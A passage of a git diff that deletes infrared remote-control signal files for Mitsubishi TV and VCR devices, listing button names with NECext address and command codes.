00 00 -# -name: TV_Q.V. -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: Q.V._(QUICK_VIEW) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_QV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: QV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: TV_3_(TUE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: 3_(TUE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: SCAN_V(CH_V) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: TV_CHV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: SCANV(CHV) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: EXPAND -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 13 00 00 00 -# -name: TV_OFF-T_OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: OFF-T_OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_OFF-T/OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: OFF-T/OTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: OFF-T -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: OFF-TV/QTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_SLEEP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: TV_4_(WED) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: 4_(WED) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: INPUT_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: ANT_A/B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: INPUTV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: TV_DISP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: DISP_(DISPLAY) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: DATA_ON_SCREEN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_INFO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: TV_5_(THU) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: 5_(THU) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 23 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 27 00 00 00 -# -name: TV_6_(FRI) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: 6_(FRI) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2B 00 00 00 -# -name: TV_7_(SAT) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: 7_(SAT) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 33 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 34 00 00 00 -# -name: TV_ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 36 00 00 00 -# -name: TV_8_(M-F) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: 8_(M-F) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: ANT_A/B -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 39 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TV_INPUT_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: INPUT_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: VIDEO/TV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: INPUT^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3A 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3B 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3D 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3D 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3E 00 00 00 -# -name: TV_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_VIDEO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: VIDEO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: FUNCTION_VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: VIDEO^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 40 00 00 00 -# -name: TV_ADJ_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ADJ_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_ADJUST_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ADJ_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ADJUST_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ADJ(ADJUST)_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: ADJUST^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 41 00 00 00 -# -name: TV_VIDEO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 48 00 00 00 -# -name: VIDEO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 48 00 00 00 -# -name: VIDEOV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 48 00 00 00 -# -name: TV_ADJ_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: ADJ_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_ADJUST_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: ADJ_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: ADJUST_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: ADJ(ADJUST)_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: ADJUSTV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: TV_EXCH_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 49 00 00 00 -# -name: SQV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4E 00 00 00 -# -name: TV_SQV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4E 00 00 00 -# -name: TV_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_AUDIO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: AUDIO_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: FUNCTION_AUDIO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: AUDIO^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 50 00 00 00 -# -name: TV_MODE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 52 00 00 00 -# -name: TV_AUDIO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 58 00 00 00 -# -name: AUDIO_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 58 00 00 00 -# -name: AUDIOV -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 58 00 00 00 -# -name: TV_SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: -2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 5F 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: TV_< -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 65 00 00 00 -# -name: -5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 66 00 00 00 -# -name: UNKNOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 66 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 67 00 00 00 -# -name: PAUSE(FREEZE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 67 00 00 00 -# -name: FREEZE(PAUSE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 67 00 00 00 -# -name: PIP_FREEZE(PAUSE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 67 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: TV_> -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6D 00 00 00 -# -name: TV_POSITION -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6E 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6E 00 00 00 -# -name: -4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6E 00 00 00 -# -name: REC_(STARSIGHT) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 75 00 00 00 -# -name: TV_PIP_CH_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 76 00 00 00 -# -name: TV_PIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: -1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 77 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7D 00 00 00 -# -name: TV_HOME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7D 00 00 00 -# -name: TV_PIP_CH_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7E 00 00 00 -# -name: TV_EXCH -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7F 00 00 00 -# -name: EXCH -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7F 00 00 00 -# -name: EXCH_(EXCHANGE) -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7F 00 00 00 -# -name: -3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 7F 00 00 00 -# -name: EXT_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 80 00 00 00 -# -name: MONO-CHROME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 81 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 82 00 00 00 -# -name: CONT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 83 00 00 00 -# -name: EXT_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 88 00 00 00 -# -name: BRIGHT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 8B 00 00 00 -# -name: EXT_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 90 00 00 00 -# -name: SHARPNESS -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 93 00 00 00 -# -name: SET_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 94 00 00 00 -# -name: VTR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 98 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 99 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 9B 00 00 00 -# -name: SET_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 9C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A0 00 00 00 -# -name: SEPARATE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A1 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A2 00 00 00 -# -name: TINT -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A3 00 00 00 -# -name: H.SIZE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A4 00 00 00 -# -name: OVER/UNDER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A7 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A8 00 00 00 -# -name: ON_GREEN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: A9 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 47 00 00 00 -command: AA 00 00 00 -# -name: BALANCE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: AB 00 00 00 -# -name: V.SIZE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: AC 00 00 00 -# -name: 64 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: B0 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: B2 00 00 00 -# -name: TREBLE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: B3 00 00 00 -# -name: H.POS -type: parsed -protocol: NECext -address: 47 00 00 00 -command: B4 00 00 00 -# -name: SUPERIMP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: B7 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 47 00 00 00 -command: B8 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 47 00 00 00 -command: BA 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: 47 00 00 00 -command: BB 00 00 00 -# -name: V.POS -type: parsed -protocol: NECext -address: 47 00 00 00 -command: BC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir deleted file mode 100644 index 87408748a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir +++ /dev/null @@ -1,1040 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_1_(SUN) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCRA_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: VCRA_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: VCRA_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VCRA_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VIDEO/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCRA_TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCRA_VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: VCR_2_(MON) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCRA_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: VCRA_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: VCR_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: VCRA_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0B 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: VCRA_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCRA_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: VCR_3_(TUE) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCRA_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCR_STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: VCRA_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCRA_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCR_4_(WED) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCRA_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCR_INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1A 00 00 00 -# -name: VCR_INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1A 00 00 00 -# -name: VCR_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCRA_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCR_5_(THU) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCRA_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCR_FF/SRCH_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCR_FF/SEARCH_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCRA_FF/FWD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCR_Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCR_QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCRA_SQV/QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCR_DISP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCRA_INFO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCR_6_(FRI) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCRA_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCR_REW/SRCH_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCR_REW/SEARCH_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCRA_REW/REV_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCR_OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCR_OFF-T/OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: OFF-T -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCRA_SLEEP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCR_7_(SAT) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: VCRA_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: QUICK_PROGRAM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCR_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCRA_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCR_8_(M-F) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCRA_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCR_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCR_INPUT_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCR_INPUT_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCRA_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCR_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCR_VIDEO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCRA_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCR_ADJ_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: VCR_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: VCRA_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: VCR_VIDEO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 48 00 00 00 -# -name: VCR_ADJ_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCR_ADJUST_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCRA_EXCH_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCR_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCR_AUDIO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCRA_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCR_MODE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCR_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCRA_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCR_AUDIO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 58 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 80 00 00 00 -# -name: VCRB_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 80 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 81 00 00 00 -# -name: VCRB_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 81 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 82 00 00 00 -# -name: VCRB_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 82 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 84 00 00 00 -# -name: VCRB_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 84 00 00 00 -# -name: VCRB_TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: VCRB_VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 57 